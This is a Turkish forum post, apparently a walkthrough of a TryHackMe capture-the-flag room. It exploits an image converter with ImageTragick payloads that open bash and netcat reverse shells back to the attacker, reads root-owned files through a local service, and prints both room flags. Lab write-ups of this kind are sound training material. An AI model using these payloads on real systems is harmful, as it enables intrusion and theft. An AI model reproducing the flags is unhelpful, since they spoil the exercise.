- Katılım
- 2 Ocak 2026
- Mesajlar
- 38
- Tepkime puanı
- 46
- Puan
- 18
Merhaba arkadaşlar, bugün TryHackMe platformu üzerinde bulunan Magician odasını çözeceğiz. İlk başta VPN bağlantısı sağlayıp makinemizi başlatıyoruz. İp adresimizi aldıktan sonra /etc/hosts dosyamıza kaydediyoruz.
Artık nmap taramasını yapabiliriz.
Gördüğümüz gibi ftp ve http portlarının açık olduğunu gördük, web tarayıcımızdan erişimimizi kontrol edelim.

8081 Portunda converter bizi karşıladı. Şimdi kendimize png dosyası oluşturup içine zararlı komut ekleyeceğiz. Bu yüzden exploit.png dosyamızı oluşturup içine kodumuzu yerleştiriyoruz.
Evet anonymous login olabildik ve bize bir ipucu verdi. Beni imagetrick.com sitesine yönlendiriyor buradan bir exploit araştırarak bulduk. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Picture%20ImageMagick/imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png buradaki exploiti kullanacağız.
bu komut ile png dosyası oluşturup içine şu komutu ekliyorum.
Bu haliyle kaydediyoruz ve yan terminalimizde
komutunu çalıştırıp shell.png dosyamızı siteye upload ediyoruz.
Evet erişim sağladık.
ilk flagimizi almış olduk,
USER FLAG: THM{simsalabim_hex_hex}
Burada dosyaları listeleyip ilerlemem yardımcı olacak bir ipucu buldum içeride 127.0.0.1'i dinleyen dosyaları listeleyeceğim.
Burada 127.0.0.1:6666 dikkat çekiyor curl atıp bakalım çekebiliyor muyuz.
Evet burada dikkatimizi çeken şey filename parametresi bekliyor ve bizde öyle çekicez.
Burada binary ile şifrelenmiş bir değer var; 1010100 1001000 1001101 1111011 1101101 1100001 1100111 1101001 1100011 1011111 1101101 1100001 1111001 1011111 1101101 1100001 1101011 1100101 1011111 1101101 1100001 1101110 1111001 1011111 1101101 1100101 1101110 1011111 1101101 1100001 1100100 1111101 bunu decode ediyoruz.

ROOT FLAG: THM{magic_may_make_many_men_mad}
sudo nano /etc/hosts
<ip> magician
Artık nmap taramasını yapabiliriz.
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV magician
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (application/json).
8081/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.94 seconds
Gördüğümüz gibi ftp ve http portlarının açık olduğunu gördük, web tarayıcımızdan erişimimizi kontrol edelim.

8081 Portunda converter bizi karşıladı. Şimdi kendimize png dosyası oluşturup içine zararlı komut ekleyeceğiz. Bu yüzden exploit.png dosyamızı oluşturup içine kodumuzu yerleştiriyoruz.
Buradan istediğim sonucu alamadım ftp logini deniyorum.GNU nano 8.7 exploit.png *
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/<tun0_ip>/4444 0>&1")'
pop graphic-context
┌──(kali㉿kali)-[~/Desktop]
└─$ ftp magician
Connected to magician.
220 THE MAGIC DOOR
Name (magician:kali): anonymous
331 Please specify the password.
Password:
230-Huh? The door just opens after some time? You're quite the patient one, aren't ya, it's a thing called 'delay_successful_login' in /etc/vsftpd.confSince you're a rookie, this might help you to get started: https://imagetragick.com. You might need to do some little tweaks though...
230 Login successful.
ftp>
ftp>
Evet anonymous login olabildik ve bize bir ipucu verdi. Beni imagetrick.com sitesine yönlendiriyor buradan bir exploit araştırarak bulduk. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Picture%20ImageMagick/imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png buradaki exploiti kullanacağız.
nano shel.png
bu komut ile png dosyası oluşturup içine şu komutu ekliyorum.
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|mkfifo /tmp/gjdpez; nc <tun0> 4444 0</tmp/gjdpez | /bin/sh >/tmp/gjdpez 2>&1; rm /tmp/gjdpez '
pop graphic-context
pop graphic-context
Bu haliyle kaydediyoruz ve yan terminalimizde
nc -lvnp 4444
komutunu çalıştırıp shell.png dosyamızı siteye upload ediyoruz.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.174.127] from (UNKNOWN) [10.80.146.236] 45620
whoami
magician
ls
1429
uploads
Evet erişim sağladık.
cd /home/magician
ls
spring-boot-magician-backend-0.0.1-SNAPSHOT.jar
the_magic_continues
uploads
user.txt
cat user.txt
THM{simsalabim_hex_hex}
ilk flagimizi almış olduk,
USER FLAG: THM{simsalabim_hex_hex}
ls -la
total 17204
drwxr-xr-x 5 magician magician 4096 Feb 13 2021 .
drwxr-xr-x 3 root root 4096 Jan 30 2021 ..
lrwxrwxrwx 1 magician magician 9 Feb 6 2021 .bash_history -> /dev/null
-rw-r--r-- 1 magician magician 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 magician magician 3771 Apr 4 2018 .bashrc
drwx------ 2 magician magician 4096 Jan 30 2021 .cache
drwx------ 3 magician magician 4096 Jan 30 2021 .gnupg
-rw-r--r-- 1 magician magician 807 Apr 4 2018 .profile
-rw-r--r-- 1 magician magician 0 Jan 30 2021 .sudo_as_admin_successful
-rw------- 1 magician magician 7546 Jan 31 2021 .viminfo
-rw-r--r-- 1 root root 17565546 Jan 30 2021 spring-boot-magician-backend-0.0.1-SNAPSHOT.jar
-rw-r--r-- 1 magician magician 170 Feb 13 2021 the_magic_continues
drwxr-xr-x 2 root root 4096 Feb 5 2021 uploads
-rw-r--r-- 1 magician magician 24 Jan 30 2021 user.txt
cat the_magic_continues
The magician is known to keep a locally listening cat up his sleeve, it is said to be an oracle who will tell you secrets if you are good enough to understand its meows.
Burada dosyaları listeleyip ilerlemem yardımcı olacak bir ipucu buldum içeride 127.0.0.1'i dinleyen dosyaları listeleyeceğim.
ss -tulnp
Netid State Recv-Q Send-Q Local Addressort Peer Address
ort
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 10.80.146.236%ens5:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:6666 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:8081 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 100 *:8080 *:* users("java",pid=1429,fd=25))
tcp LISTEN 0 32 *:21 *:*
Burada 127.0.0.1:6666 dikkat çekiyor curl atıp bakalım çekebiliyor muyuz.
HTML:
curl -X POST -d "/root/root.txt" http://127.0.0.1:6666
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2865 100 2851 100 14 31329 153 --:--:-- --:--:-- --:--:-- 31483
<!DOCTYPE html>
<html>
<head>
<title>The Magic cat</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Bootstrap -->
<link href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="navbar navbar-inverse" role="navigation">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">The Magic cat</a>
</div>
</div>
</div>
<div class="container">
<form action="" method="post"
class="form" role="form">
<div class="form-group "><label class="control-label" for="filename">Enter filename</label>
<input class="form-control" id="filename" name="filename" type="text" value="">
</div>
<input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit">
</form>
<div>
<span>
<pre class="page-header">
░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄░░░░░░░
░░░░░█░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄░░░░
░░░░█░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█░░░
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█░░
░▄▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░░█░
█░▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒░█
█░▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█░
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█░░
░░░█░░░░██░░▀█▄▄▄█▄▄█▄████░█░░░
░░░░█░░░░▀▀▄░█░░░█░█▀██████░█░░
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█░░
░░░░░░░▀▄▄░▒▒▒▒░░░░░░░░░░▒░░░█░
░░░░░░░░░░▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░░░░█░
░░░░░░░░░░░░░░▀▄▄▄▄▄░░░░░░░░█░░
</pre>
</span>
</div>
</div>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</body>
</html>
Evet burada dikkatimizi çeken şey filename parametresi bekliyor ve bizde öyle çekicez.
HTML:
curl -X POST -d "filename=/root/root.txt" http://127.0.0.1:6666
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1611 100 1588 100 23 258k 3833 --:--:-- --:--:-- --:--:-- 262k
<!DOCTYPE html>
<html>
<head>
<title>The Magic cat</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Bootstrap -->
<link href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="navbar navbar-inverse" role="navigation">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">The Magic cat</a>
</div>
</div>
</div>
<div class="container">
<form action="" method="post"
class="form" role="form">
<div class="form-group "><label class="control-label" for="filename">Enter filename</label>
<input class="form-control" id="filename" name="filename" type="text" value="/root/root.txt">
</div>
<input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit">
</form>
<div>
<span>
<pre class="page-header">
1010100 1001000 1001101 1111011 1101101 1100001 1100111 1101001 1100011 1011111 1101101 1100001 1111001 1011111 1101101 1100001 1101011 1100101 1011111 1101101 1100001 1101110 1111001 1011111 1101101 1100101 1101110 1011111 1101101 1100001 1100100 1111101 1010
</pre>
</span>
</div>
</div>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</body>
</html>
Burada binary ile şifrelenmiş bir değer var; 1010100 1001000 1001101 1111011 1101101 1100001 1100111 1101001 1100011 1011111 1101101 1100001 1111001 1011111 1101101 1100001 1101011 1100101 1011111 1101101 1100001 1101110 1111001 1011111 1101101 1100101 1101110 1011111 1101101 1100001 1100100 1111101 bunu decode ediyoruz.

ROOT FLAG: THM{magic_may_make_many_men_mad}
Son düzenleme: